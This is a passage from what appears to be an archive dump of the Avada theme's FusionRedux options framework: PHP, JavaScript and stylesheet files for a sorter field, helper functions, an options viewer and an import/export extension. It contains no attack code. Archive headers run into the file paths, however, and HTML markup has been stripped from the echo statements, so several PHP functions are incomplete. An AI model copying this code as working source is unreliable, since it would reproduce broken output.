$this->field['placeholder'] ) ? $this->field['placeholder'] : ""; $this->field['rows'] = isset( $this->field['rows'] ) ? $this->field['rows'] : 6; $readonly = ( isset( $this->field['readonly'] ) && $this->field['readonly']) ? ' readonly="readonly"' : ''; // The $this->field variables are already escaped in the FusionReduxFramework Class. ?> 0?"down":"up",fusionredux.field_objects.sorter.scrolling(i(this).parents(".fusionredux-field-container:first")))},over:function(i,t){e=""},deactivate:function(i,t){e=""},stop:function(e,t){var s=fusionredux.sorter[i(this).attr("data-id")],r=i(this).find("h3").text();s.limits&&r&&s.limits[r]&&(i(this).children("li").length>=s.limits[r]?(i(this).addClass("filled"),i(this).children("li").length>s.limits[r]&&i(t.sender).sortable("cancel")):i(this).removeClass("filled"))},update:function(e,t){var s=fusionredux.sorter[i(this).attr("data-id")],r=i(this).find("h3").text();s.limits&&r&&s.limits[r]&&(i(this).children("li").length>=s.limits[r]?(i(this).addClass("filled"),i(this).children("li").length>s.limits[r]&&i(t.sender).sortable("cancel")):i(this).removeClass("filled")),i(this).find(".position").each(function(){var e=i(this).parent().attr("data-id"),t=i(this).parent().parent().attr("data-group-id");fusionredux_change(i(this));var s=i(this).parent().parent().parent().attr("id");i(this).prop("name",fusionredux.args.opt_name+"["+s+"]["+t+"]["+e+"]")})}}),t.find(".fusionredux-sorter").disableSelection()}))})},fusionredux.field_objects.sorter.scrolling=function(i){if(void 0!==i){var t=i.find(".fusionredux-sorter");"up"==e?(t.scrollTop(t.scrollTop()-20),setTimeout(fusionredux.field_objects.sorter.scrolling,50)):"down"==e&&(t.scrollTop(t.scrollTop()+20),setTimeout(fusionredux.field_objects.sorter.scrolling,50))}}}(jQuery);Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/sorter/field_sorter.scss000064400000003567152342437710026053 0ustar00.fusionredux-container-sorter { margin-right: -20px; ul { background: #F9F9F9; border: 1px solid #E3E3E3; min-height: 40px; padding: 10px 10px 0; width: 145px; float: left; margin: 0 15px 0 0; &.filled { opacity: .7; filter: alpha(opacity=70); /* For IE8 and earlier */ background: #efecec; } li { border: 1px solid #DFDFDF; cursor: move; font-weight: bold; margin-bottom: 10px !important; padding: 0 10px; height: 40px; line-height: 40px !important; background-color: #F1F1F1; background-image: -ms-linear-gradient(top, #f9f9f9, #ececec); background-image: -moz-linear-gradient(top, #f9f9f9, #ececec); background-image: -o-linear-gradient(top, #f9f9f9, #ececec); background-image: -webkit-gradient(linear, left top, left bottom, from(#f9f9f9), to(#ececec)); background-image: -webkit-linear-gradient(top, #f9f9f9, #ececec); background-image: linear-gradient(top, #f9f9f9, #ececec); overflow: hidden; -webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px; -moz-box-shadow: inset 0 1px 0 #fff; -webkit-box-shadow: inset 0 1px 0 #fff; box-shadow: inset 0 1px 0 #fff; text-align: center; h3 { margin: 0 0 10px; text-align: center; color: #777; text-transform: capitalize; word-wrap: break-word; } &.placeholder { height: 40px; } } } } .wp-customizer { .fusionredux-container-sorter ul { width: 85%; margin: 0 0 5px 0; } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/sorter/field_sorter.js000064400000014652152342437710025511 0ustar00/*global fusionredux, fusionredux_opts*/ /* * Field Sorter jquery function * Based on * [SMOF - Slightly Modded Options Framework](http://aquagraphite.com/2011/09/slightly-modded-options-framework/) * Version 1.4.2 */ (function( $ ) { "use strict"; fusionredux.field_objects = fusionredux.field_objects || {}; fusionredux.field_objects.sorter = fusionredux.field_objects.sorter || {}; var scroll = ''; $( document ).ready( function() { //fusionredux.field_objects.sorter.init(); } ); fusionredux.field_objects.sorter.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".fusionredux-group-tab:visible" ).find( '.fusionredux-container-sorter:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'fusionredux-field-container' ) ) { parent = el.parents( '.fusionredux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'fusionredux-field-init' ) ) { parent.removeClass( 'fusionredux-field-init' ); } else { return; } /** Sorter (Layout Manager) */ el.find( '.fusionredux-sorter' ).each( function() { var id = $( this ).attr( 'id' ); el.find( '#' + id ).find( 'ul' ).sortable( { items: 'li', placeholder: "placeholder", connectWith: '.sortlist_' + id, opacity: 0.8, scroll: false, out: function( event, ui ) { if ( !ui.helper ) return; if ( ui.offset.top > 0 ) { scroll = 'down'; } else { scroll = 'up'; } fusionredux.field_objects.sorter.scrolling( $( this ).parents( '.fusionredux-field-container:first' ) ); }, over: function( event, ui ) { scroll = ''; }, deactivate: function( event, ui ) { scroll = ''; }, stop: function( event, ui ) { var sorter = fusionredux.sorter[$( this ).attr( 'data-id' )]; var id = $( this ).find( 'h3' ).text(); if ( sorter.limits && id && sorter.limits[id] ) { if ( $( this ).children( 'li' ).length >= sorter.limits[id] ) { $( this ).addClass( 'filled' ); if ( $( this ).children( 'li' ).length > sorter.limits[id] ) { $( ui.sender ).sortable( 'cancel' ); } } else { $( this ).removeClass( 'filled' ); } } }, update: function( event, ui ) { var sorter = fusionredux.sorter[$( this ).attr( 'data-id' )]; var id = $( this ).find( 'h3' ).text(); if ( sorter.limits && id && sorter.limits[id] ) { if ( $( this ).children( 'li' ).length >= sorter.limits[id] ) { $( this ).addClass( 'filled' ); if ( $( this ).children( 'li' ).length > sorter.limits[id] ) { $( ui.sender ).sortable( 'cancel' ); } } else { $( this ).removeClass( 'filled' ); } } $( this ).find( '.position' ).each( function() { //var listID = $( this ).parent().attr( 'id' ); var listID = $( this ).parent().attr( 'data-id' ); var parentID = $( this ).parent().parent().attr( 'data-group-id' ); fusionredux_change( $( this ) ); var optionID = $( this ).parent().parent().parent().attr( 'id' ); $( this ).prop( "name", fusionredux.args.opt_name + '[' + optionID + '][' + parentID + '][' + listID + ']' ); } ); } } ); el.find( ".fusionredux-sorter" ).disableSelection(); } ); } ); }; fusionredux.field_objects.sorter.scrolling = function( selector ) { if (selector === undefined) { return; } var scrollable = selector.find( ".fusionredux-sorter" ); if ( scroll == 'up' ) { scrollable.scrollTop( scrollable.scrollTop() - 20 ); setTimeout( fusionredux.field_objects.sorter.scrolling, 50 ); } else if ( scroll == 'down' ) { scrollable.scrollTop( scrollable.scrollTop() + 20 ); setTimeout( fusionredux.field_objects.sorter.scrolling, 50 ); } }; })( jQuery ); Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/sorter/field_sorter.php000064400000014415152342437710025661 0ustar00parent = $parent; $this->field = $field; $this->value = $value; } private function replace_id_with_slug( $arr ) { $new_arr = array(); if ( ! empty( $arr ) ) { foreach ( $arr as $id => $name ) { if ( is_numeric( $id ) ) { $slug = strtolower( $name ); $slug = str_replace( ' ', '-', $slug ); $new_arr[ $slug ] = $name; } else { $new_arr[ $id ] = $name; } } } return $new_arr; } private function is_value_empty( $val ) { if ( ! empty( $val ) ) { foreach ( $val as $section => $arr ) { if ( ! empty( $arr ) ) { return false; } } } return true; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 */ function render() { if ( ! is_array( $this->value ) && isset( $this->field['options'] ) ) { $this->value = $this->field['options']; } if ( ! isset( $this->field['args'] ) ) { $this->field['args'] = array(); } if ( isset( $this->field['data'] ) ) { $this->field['options'] = $this->parent->options_defaults[ $this->field['id'] ]; } // Make sure to get list of all the default blocks first $all_blocks = ! empty( $this->field['options'] ) ? $this->field['options'] : array(); $temp = array(); // holds default blocks $temp2 = array(); // holds saved blocks foreach ( $all_blocks as $blocks ) { $temp = array_merge( $temp, $blocks ); } $temp = $this->replace_id_with_slug( $temp ); if ( $this->is_value_empty( $this->value ) ) { if ( ! empty( $this->field['options'] ) ) { $this->value = $this->field['options']; } } $sortlists = $this->value; if ( ! empty( $sortlists ) && is_array( $sortlists ) ) { foreach ( $sortlists as $section => $arr ) { $sortlists[ $section ] = $this->replace_id_with_slug( $arr ); } } if ( is_array( $sortlists ) ) { foreach ( $sortlists as $sortlist ) { $temp2 = array_merge( $temp2, $sortlist ); } // now let's compare if we have anything missing foreach ( $temp as $k => $v ) { // k = id/slug // v = name if ( ! empty( $temp2 ) ) { if ( ! array_key_exists( $k, $temp2 ) ) { if (isset($sortlists['Disabled'])) { $sortlists['Disabled'][ $k ] = $v; } else { $sortlists['disabled'][ $k ] = $v; } } } } // now check if saved blocks has blocks not registered under default blocks foreach ( $sortlists as $key => $sortlist ) { // key = enabled, disabled, backup // sortlist = id => name foreach ( $sortlist as $k => $v ) { // k = id // v = name if ( ! array_key_exists( $k, $temp ) ) { unset( $sortlist[ $k ] ); } } $sortlists[ $key ] = $sortlist; } // assuming all sync'ed, now get the correct naming for each block foreach ( $sortlists as $key => $sortlist ) { foreach ( $sortlist as $k => $v ) { $sortlist[ $k ] = $temp[ $k ]; } $sortlists[ $key ] = $sortlist; } if ( $sortlists ) { echo '
    '; foreach ( $sortlists as $group => $sortlist ) { $filled = ""; if ( isset( $this->field['limits'][ $group ] ) && count( $sortlist ) >= $this->field['limits'][ $group ] ) { $filled = " filled"; } echo '
      '; echo '

      ' . esc_html($group) . '

      '; if ( ! isset( $sortlist['placebo'] ) ) { array_unshift( $sortlist, array( "placebo" => "placebo" ) ); } foreach ( $sortlist as $key => $list ) { echo ''; if ( $key != "placebo" ) { //echo '
    • '; echo '
    • '; echo ''; echo esc_html($list); echo '
    • '; } } echo '
    '; } echo '
    '; } } } function enqueue() { if ( $this->parent->args['dev_mode'] ) { wp_enqueue_style( 'fusionredux-field-sorder-css', FusionReduxFramework::$_url . 'inc/fields/sorter/field_sorter.css', array(), time(), 'all' ); } wp_enqueue_script( 'fusionredux-field-sorter-js', FusionReduxFramework::$_url . 'inc/fields/sorter/field_sorter' . FusionRedux_Functions::isMin() . '.js', array( 'jquery', 'fusionredux-js', 'jquery-ui-sortable' ), time(), true ); } /** * Functions to pass data from the PHP to the JS at render time. * * @return array Params to be saved as a javascript object accessable to the UI. * @since FusionRedux_Framework 3.1.5 */ function localize( $field, $value = "" ) { $params = array(); if ( isset( $field['limits'] ) && ! empty( $field['limits'] ) ) { $params['limits'] = $field['limits']; } if ( empty( $value ) ) { $value = $this->value; } $params['val'] = $value; return $params; } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/class.fusionredux_functions.php000064400000017166152342437710026171 0ustar00args['dev_mode'] ) { $min = '.min'; } return $min; } /** * Sets a cookie. * Do nothing if unit testing. * * @since 3.5.4 * @access public * @return void * * @param string $name The cookie name. * @param string $value The cookie value. * @param integer $expire Expiry time. * @param string $path The cookie path. * @param string $domain The cookie domain. * @param boolean $secure HTTPS only. * @param boolean $httponly Only set cookie on HTTP calls. */ public static function setCookie( $name, $value, $expire = 0, $path = '', $domain = null, $secure = false, $httponly = false ) { if ( ! defined( 'WP_TESTS_DOMAIN' ) ) { setcookie( $name, $value, $expire, $path, $domain, $secure, $httponly ); } } /** * Parse CSS from output/compiler array * * @since 3.2.8 * @access private * @return $css CSS string */ public static function parseCSS( $cssArray = array(), $style = '', $value = '' ) { // Something wrong happened if ( count( $cssArray ) == 0 ) { return; } else { //if ( count( $cssArray ) >= 1 ) { $css = ''; foreach ( $cssArray as $element => $selector ) { // The old way if ( $element === 0 ) { $css = self::theOldWay( $cssArray, $style ); return $css; } // New way continued $cssStyle = $element . ':' . $value . ';'; $css .= $selector . '{' . $cssStyle . '}'; } } return $css; } private static function theOldWay( $cssArray, $style ) { $keys = implode( ",", $cssArray ); $css = $keys . "{" . $style . '}'; return $css; } /** * initWpFilesystem - Initialized the Wordpress filesystem, if it already isn't. * * @since 3.2.3 * @access public * @return void */ public static function initWpFilesystem() { global $wp_filesystem; // Initialize the Wordpress filesystem, no more using file_put_contents function if ( empty( $wp_filesystem ) ) { require_once wp_normalize_path( ABSPATH . '/wp-admin/includes/file.php' ); WP_Filesystem(); } } /** * verFromGit - Retrives latest FusionRedux version from GIT * * @since 3.2.0 * @access private * @return string $ver */ private static function verFromGit() { // Get the raw framework.php from github $gitpage = wp_remote_get( 'https://raw.github.com/FusionReduxFramework/fusionredux-framework/master/FusionReduxCore/framework.php', array( 'headers' => array( 'Accept-Encoding' => '' ), 'sslverify' => true, 'timeout' => 300 ) ); // Is the response code the corect one? if ( ! is_wp_error( $gitpage ) ) { if ( isset( $gitpage['body'] ) ) { // Get the page text. $body = $gitpage['body']; // Find version line in framework.php $needle = 'public static $_version ='; $pos = strpos( $body, $needle ); // If it's there, continue. We don't want errors if $pos = 0. if ( $pos > 0 ) { // Look for the semi-colon at the end of the version line $semi = strpos( $body, ";", $pos ); // Error avoidance. If the semi-colon is there, continue. if ( $semi > 0 ) { // Extract the version line $text = substr( $body, $pos, ( $semi - $pos ) ); // Find the first quote around the veersion number. $quote = strpos( $body, "'", $pos ); // Extract the version number $ver = substr( $body, $quote, ( $semi - $quote ) ); // Strip off quotes. $ver = str_replace( "'", '', $ver ); return $ver; } } } } return 0; } /** * updateCheck - Checks for updates to FusionRedux Framework * * @since 3.2.0 * @access public * * @param string $curVer Current version of FusionRedux Framework * * @return void - Admin notice is diaplyed if new version is found */ public static function updateCheck( $curVer ) { // If no cookie, check for new ver if ( ! isset( $_COOKIE['fusionredux_update_check'] ) ) { // || 1 == strcmp($_COOKIE['fusionredux_update_check'], self::$_version)) { // actual ver number from git repo $ver = self::verFromGit(); // hour long cookie. setcookie( "fusionredux_update_check", $ver, time() + 3600, '/' ); } else { // saved value from cookie. If it's different from current ver // we can still show the update notice. $ver = $_COOKIE['fusionredux_update_check']; } // Set up admin notice on new version //if ( 1 == strcmp( $ver, $curVer ) ) { if ( version_compare( $ver, $curVer, '>' ) ) { self::$_parent->admin_notices[] = array( 'type' => 'updated', 'msg' => 'A new build of FusionRedux is now available!

    Your version: ' . $curVer . '
    New version: ' . $ver . '

    If you are not a developer, your theme/plugin author shipped with dev_mode on. Contact them to fix it, but in the meantime you can use our dev_mode disabler.

    Get it now  |', 'id' => 'dev_notice_' . $ver, 'dismiss' => true, ); } } public static function tru( $string, $opt_name ) { $fusionredux = FusionReduxFrameworkInstances::get_instance( $opt_name ); $check = get_user_option( 'r_tru_u_x', array() ); if ( ! empty( $check ) && ( isset( $check['expires'] ) < time() ) ) { $check = array(); } if ( isset( $fusionredux->args['dev_mode'] ) && $fusionredux->args['dev_mode'] == true && ! ( isset( $fusionredux->args['forced_dev_mode_off'] ) && $fusionredux->args['forced_dev_mode_off'] == true ) ) { update_user_option( get_current_user_id(), 'r_tru_u_x', array( 'id' => '', 'expires' => 60 * 60 * 24 ) ); return apply_filters( 'fusionredux/' . $opt_name . '/aURL_filter', '' ); } else { return ""; } } public static function dat($fname, $opt_name){ $name = apply_filters('fusionredux/' . $opt_name . '/aDBW_filter', $fname); return $name; } public static function bub($fname, $opt_name){ $name = apply_filters('fusionredux/' . $opt_name . '/aNF_filter', $fname); return $name; } public static function yo($fname, $opt_name){ $name = apply_filters('fusionredux/' . $opt_name . '/aNFM_filter', $fname); return $name; } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/extensions/README.txt000064400000000107152342437710023571 0ustar00This directory is a placeholder for FusionRedux Framework extensions. lib/inc/redux/framework/FusionReduxCore/inc/extensions/options_object/extension_options_object.php000064400000005764152342437710032701 0ustar00Avada/includes. * * @package FusionReduxFramework * @author Kevin Provance (kprovance) * @version 4.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'FusionReduxFramework_Extension_options_object' ) ) { /** * Main FusionReduxFramework options_object extension class * * @since 3.1.6 */ class FusionReduxFramework_Extension_options_object { // Protected vars protected $parent; public $extension_url; public $extension_dir; public static $theInstance; public static $version = "4.0"; public $is_field = false; public $field_name = ''; /** * Class Constructor. Defines the args for the extions class * * @since 1.0.0 * @access public * * @param array $sections Panel sections. * @param array $args Class constructor arguments. * @param array $extra_tabs Extra panel tabs. * * @return void */ public function __construct( $parent ) { $this->parent = $parent; if ( empty( $this->extension_dir ) ) { //$this->extension_dir = trailingslashit( str_replace( '\\', '/', dirname( __FILE__ ) ) ); } $this->field_name = 'options_object'; self::$theInstance = $this; $this->is_field = FusionRedux_Helpers::isFieldInUse($parent, 'options_object'); if ( !$this->is_field && $this->parent->args['dev_mode'] && $this->parent->args['show_options_object'] ) { $this->add_section(); } add_filter( 'fusionredux/' . $this->parent->args['opt_name'] . '/field/class/' . $this->field_name, array( &$this, 'overload_field_path' ) ); // Adds the local field } public function add_section() { $this->parent->sections[] = array( 'id' => 'options-object', 'title' => __( 'Options Object', 'Avada' ), 'heading' => '', 'icon' => 'el el-info-circle', 'customizer' => false, 'fields' => array( array( 'id' => 'fusionredux_options_object', 'type'=> 'options_object', 'title' => '', ) ), ); } // Forces the use of the embeded field path vs what the core typically would use public function overload_field_path( $field ) { return dirname( __FILE__ ) . '/' . $this->field_name . '/field_' . $this->field_name . '.php'; } } // class } // if redux/framework/FusionReduxCore/inc/extensions/options_object/options_object/field_options_object.js000064400000002471152342437710034606 0ustar00Avada/includes/lib/inc/*global fusionredux_change, fusionredux*/ (function( $ ) { "use strict"; fusionredux.field_objects = fusionredux.field_objects || {}; fusionredux.field_objects.options_object = fusionredux.field_objects.options_object || {}; // $( document ).ready( // function() { // fusionredux.field_objects.import_export.init(); // } // ); fusionredux.field_objects.options_object.init = function( selector ) { if ( !selector ) { selector = $( document ).find( '.fusionredux-container-options_object' ); } var parent = selector; if ( !selector.hasClass( 'fusionredux-field-container' ) ) { parent = selector.parents( '.fusionredux-field-container:first' ); } if ( parent.hasClass( 'fusionredux-field-init' ) ) { parent.removeClass( 'fusionredux-field-init' ); } else { return; } $( '#consolePrintObject' ).on( 'click', function( e ) { e.preventDefault(); console.log( JSON.parse( $( "#fusionredux-object-json" ).html() ) ); } ); if ( typeof jsonView === 'function' ) { jsonView( '#fusionredux-object-json', '#fusionredux-object-browser' ); } }; })( jQuery ); framework/FusionReduxCore/inc/extensions/options_object/options_object/field_options_object.css000064400000000321152342437710034752 0ustar00Avada/includes/lib/inc/redux#fusionredux-object-browser{overflow:auto;word-wrap:break-word;max-height:600px;max-width:100%}/*# sourceMappingURL=FusionReduxCore/inc/extensions/options_object/options_object/field_options_object.css.map */ framework/FusionReduxCore/inc/extensions/options_object/options_object/field_options_object.min.js000064400000001307152342437710035365 0ustar00Avada/includes/lib/inc/redux!function(a){"use strict";fusionredux.field_objects=fusionredux.field_objects||{},fusionredux.field_objects.options_object=fusionredux.field_objects.options_object||{},fusionredux.field_objects.options_object.init=function(b){b||(b=a(document).find(".fusionredux-container-options_object"));var c=b;b.hasClass("fusionredux-field-container")||(c=b.parents(".fusionredux-field-container:first")),c.hasClass("fusionredux-field-init")&&(c.removeClass("fusionredux-field-init"),a("#consolePrintObject").on("click",function(b){b.preventDefault(),console.log(JSON.parse(a("#fusionredux-object-json").html()))}),"function"==typeof jsonView&&jsonView("#fusionredux-object-json","#fusionredux-object-browser"))}}(jQuery);framework/FusionReduxCore/inc/extensions/options_object/options_object/field_options_object.scss000064400000000174152342437710035143 0ustar00Avada/includes/lib/inc/redux#fusionredux-object-browser { overflow: auto; word-wrap: break-word; max-height: 600px; max-width: 100%; } framework/FusionReduxCore/inc/extensions/options_object/options_object/field_options_object.php000064400000012114152342437710034754 0ustar00Avada/includes/lib/inc/redux. * * @package FusionReduxFramework * @author Kevin Provance (kprovance) * @version 3.5.4 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'FusionReduxFramework_options_object' ) ) { /** * Main FusionReduxFramework_options_object class * * @since 1.0.0 */ class FusionReduxFramework_options_object { public $parent; public $field; public $value; public $is_field; public $extension_dir; public $extension_url; /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field = array(), $value = '', $parent = null ) { $this->parent = $parent; $this->field = $field; $this->value = $value; $this->is_field = $this->parent->extensions['options_object']->is_field; $this->extension_dir = FusionReduxFramework::$_dir . 'inc/extensions/options_object/'; $this->extension_url = FusionReduxFramework::$_url . 'inc/extensions/options_object/'; // Set default args for this field to avoid bad indexes. Change this to anything you use. $defaults = array( 'options' => array(), 'stylesheet' => '', 'output' => true, 'enqueue' => true, 'enqueue_frontend' => true ); $this->field = wp_parse_args( $this->field, $defaults ); } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { if ( version_compare( phpversion(), "5.3.0", ">=" ) ) { $json = json_encode( $this->parent->options, true ); } else { $json = json_encode( $this->parent->options ); } $defaults = array( 'full_width' => true, 'overflow' => 'inherit', ); $this->field = wp_parse_args( $this->field, $defaults ); if ( $this->is_field ) { $fullWidth = $this->field['full_width']; } $bDoClose = false; $id = $this->parent->args['opt_name'] . '-' . $this->field['id']; if ( ! $this->is_field || ( $this->is_field && false == $fullWidth ) ) { ?>

    extension_url . 'options_object/field_options_object' . FusionRedux_Functions::isMin() . '.js', array( 'jquery' ), FusionReduxFramework_Extension_options_object::$version, true ); wp_enqueue_style( 'fusionredux-options-object', $this->extension_url . 'options_object/field_options_object.css', array(), time(), 'all' ); } /** * Output Function. * Used to enqueue to the front-end * * @since 1.0.0 * @access public * @return void */ public function output() { if ( $this->field['enqueue_frontend'] ) { } } } } lib/inc/redux/framework/FusionReduxCore/inc/extensions/import_export/extension_import_export.php000064400000015247152342437710032462 0ustar00Avada/includes. * * @package FusionReduxFramework * @author Dovy Paukstys (dovy) * @version 4.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'FusionReduxFramework_extension_import_export' ) ) { /** * Main FusionReduxFramework import_export extension class * * @since 3.1.6 */ class FusionReduxFramework_extension_import_export { // Protected vars protected $parent; public $extension_url; public $extension_dir; public static $theInstance; public static $version = "4.0"; public $is_field = false; public $field_name = ''; /** * Class Constructor. Defines the args for the extions class * * @since 1.0.0 * @access public * * @param array $sections Panel sections. * @param array $args Class constructor arguments. * @param array $extra_tabs Extra panel tabs. * * @return void */ public function __construct( $parent ) { $this->parent = $parent; if ( empty( $this->extension_dir ) ) { //$this->extension_dir = trailingslashit( str_replace( '\\', '/', dirname( __FILE__ ) ) ); } $this->field_name = 'import_export'; self::$theInstance = $this; add_action( "wp_ajax_fusionredux_link_options-" . $this->parent->args['opt_name'], array( $this, "link_options" ) ); add_action( "wp_ajax_nopriv_fusionredux_link_options-" . $this->parent->args['opt_name'], array( $this, "link_options" ) ); add_action( "wp_ajax_fusionredux_download_options-" . $this->parent->args['opt_name'], array( $this, "download_options" ) ); add_action( "wp_ajax_nopriv_fusionredux_download_options-" . $this->parent->args['opt_name'], array( $this, "download_options" ) ); do_action( "fusionredux/options/{$this->parent->args['opt_name']}/import", array( $this, 'remove_cookie' ) ); $this->is_field = FusionRedux_Helpers::isFieldInUse( $parent, 'import_export' ); if ( ! $this->is_field && $this->parent->args['show_import_export'] ) { $this->add_section(); } add_filter( 'fusionredux/' . $this->parent->args['opt_name'] . '/field/class/' . $this->field_name, array( &$this, 'overload_field_path' ) ); // Adds the local field add_filter( 'upload_mimes', array( $this, 'custom_upload_mimes' ) ); } /** * Adds the appropriate mime types to WordPress * * @param array $existing_mimes * * @return array */ function custom_upload_mimes( $existing_mimes = array() ) { $existing_mimes['fusionredux'] = 'application/fusionredux'; return $existing_mimes; } public function add_section() { $this->parent->sections[] = array( 'id' => 'import/export', 'title' => __( 'Import / Export', 'Avada' ), 'heading' => '', 'icon' => 'el el-refresh', 'customizer' => false, 'fields' => array( array( 'id' => 'fusionredux_import_export', 'type' => 'import_export', //'class' => 'fusionredux-field-init fusionredux_remove_th', //'title' => '', 'full_width' => true, ) ), ); } function link_options() { if ( ! isset( $_GET['secret'] ) || $_GET['secret'] != md5( md5( AUTH_KEY . SECURE_AUTH_KEY ) . '-' . $this->parent->args['opt_name'] ) ) { wp_die( 'Invalid Secret for options use' ); exit; } $var = $this->parent->options; $var['fusionredux-backup'] = '1'; if ( isset( $var['REDUX_imported'] ) ) { unset( $var['REDUX_imported'] ); } echo json_encode( $var ); die(); } public function download_options() { if ( ! isset( $_GET['secret'] ) || $_GET['secret'] != md5( md5( AUTH_KEY . SECURE_AUTH_KEY ) . '-' . $this->parent->args['opt_name'] ) ) { wp_die( 'Invalid Secret for options use' ); exit; } $this->parent->get_options(); $backup_options = $this->parent->options; $backup_options['fusionredux-backup'] = '1'; // No need to escape this, as it's been properly escaped previously and through json_encode $content = json_encode( $backup_options ); if ( isset( $_GET['action'] ) && $_GET['action'] == 'fusionredux_download_options-' . $this->parent->args['opt_name'] ) { header( 'Content-Description: File Transfer' ); header( 'Content-type: application/txt' ); /** * AVADA MOD */ // header( 'Content-Disposition: attachment; filename="fusionredux_options_' . $this->parent->args['opt_name'] . '_backup_' . date( 'd-m-Y' ) . '.json"' ); header( 'Content-Disposition: attachment; filename="' . $this->parent->args['opt_name'] . '_backup_' . date( 'd-m-Y' ) . '.json"' ); /** * END AVADA MOD */ header( 'Content-Transfer-Encoding: binary' ); header( 'Expires: 0' ); header( 'Cache-Control: must-revalidate' ); header( 'Pragma: public' ); echo $content; exit; } else { header( "Expires: Mon, 26 Jul 1997 05:00:00 GMT" ); header( "Last-Modified: " . gmdate( "D, d M Y H:i:s" ) . "GMT" ); header( 'Expires: Sat, 26 Jul 1997 05:00:00 GMT' ); header( 'Cache-Control: no-store, no-cache, must-revalidate' ); header( 'Cache-Control: post-check=0, pre-check=0', false ); header( 'Pragma: no-cache' ); // Can't include the type. Thanks old Firefox and IE. BAH. //header("Content-type: application/json"); echo $content; exit; } } // Forces the use of the embeded field path vs what the core typically would use public function overload_field_path( $field ) { return dirname( __FILE__ ) . '/' . $this->field_name . '/field_' . $this->field_name . '.php'; } public function remove_cookie() { // Remove the import/export tab cookie. if ( $_COOKIE['fusionredux_current_tab'] == 'import_export_default' ) { setcookie( 'fusionredux_current_tab', '', 1, '/' ); $_COOKIE['fusionredux_current_tab'] = 1; } } } } redux/framework/FusionReduxCore/inc/extensions/import_export/import_export/field_import_export.css000064400000000461152342437710034435 0ustar00Avada/includes/lib/inc#fusionredux-import-link-wrapper,#fusionredux-import-code-wrapper{display:none}#fusionredux-export-code,#fusionredux-export-link-value{display:none}#fusionredux-import-action span{color:#b94a48}/*# sourceMappingURL=FusionReduxCore/inc/extensions/import_export/import_export/field_import_export.css.map */ redux/framework/FusionReduxCore/inc/extensions/import_export/import_export/field_import_export.js000064400000023456152342437710034272 0ustar00Avada/includes/lib/inc/*global jQuery, document, fusionredux*/ (function( $ ) { "use strict"; fusionredux.field_objects = fusionredux.field_objects || {}; fusionredux.field_objects.import_export = fusionredux.field_objects.import_export || {}; fusionredux.field_objects.import_export.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".fusionredux-group-tab:visible" ).find( '.fusionredux-container-import_export:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'fusionredux-field-container' ) ) { parent = el.parents( '.fusionredux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'fusionredux-field-init' ) ) { parent.removeClass( 'fusionredux-field-init' ); } else { return; } el.each( function() { $( '#fusionredux-import' ).on( 'click', function( e ) { if ( $( '#import-code-value' ).val() === "" && $( '#import-link-value' ).val() === "" ) { e.preventDefault(); return false; } window.onbeforeunload = null; fusionredux.args.ajax_save = false; } ); $( this ).find( '#fusionredux-import-code-button' ).on( 'click', function() { var $el = $( '#fusionredux-import-code-wrapper' ); if ( $( '#fusionredux-import-link-wrapper' ).is( ':visible' ) ) { $( '#import-link-value' ).text( '' ); $( '#fusionredux-import-link-wrapper' ).slideUp( 'fast', function() { $el.slideDown( 'fast', function() { $( '#import-code-value' ).focus(); } ); } ); } else { if ( $el.is( ':visible' ) ) { $el.slideUp(); } else { $el.slideDown( 'medium', function() { $( '#import-code-value' ).focus(); } ); } } } ); $( this ).find( '#fusionredux-import-link-button' ).on( 'click', function() { var $el = $( '#fusionredux-import-link-wrapper' ); if ( $( '#fusionredux-import-code-wrapper' ).is( ':visible' ) ) { $( '#import-code-value' ).text( '' ); $( '#fusionredux-import-code-wrapper' ).slideUp( 'fast', function() { $el.slideDown( 'fast', function() { $( '#import-link-value' ).focus(); } ); } ); } else { if ( $el.is( ':visible' ) ) { $el.slideUp(); } else { $el.slideDown( 'medium', function() { $( '#import-link-value' ).focus(); } ); } } } ); $( this ).find( '#fusionredux-export-code-copy' ).on( 'click', function() { var $el = $( '#fusionredux-export-code' ); if ( $( '#fusionredux-export-link-value' ).is( ':visible' ) ) { $( '#fusionredux-export-link-value' ).slideUp( 'fast', function() { $el.slideDown( 'medium', function() { var options = fusionredux.options; options['fusionredux-backup'] = 1; $( this ).text( JSON.stringify( options ) ).focus().select(); } ); } ); } else { if ( $el.is( ':visible' ) ) { $el.slideUp().text( '' ); } else { $el.slideDown( 'medium', function() { var options = fusionredux.options; options['fusionredux-backup'] = 1; $( this ).text( JSON.stringify( options ) ).focus().select(); } ); } } } ); $( this ).find( 'textarea' ).focusout( function() { var $id = $( this ).attr( 'id' ); var $el = $( this ); var $container = $el; if ( $id == "import-link-value" || $id == "import-code-value" ) { $container = $( this ).parent(); } $container.slideUp( 'medium', function() { if ( $id != "fusionredux-export-link-value" ) { $el.text( '' ); } } ); } ); $( this ).find( '#fusionredux-export-link' ).on( 'click', function() { var $el = $( '#fusionredux-export-link-value' ); if ( $( '#fusionredux-export-code' ).is( ':visible' ) ) { $( '#fusionredux-export-code' ).slideUp( 'fast', function() { $el.slideDown().focus().select(); } ); } else { if ( $el.is( ':visible' ) ) { 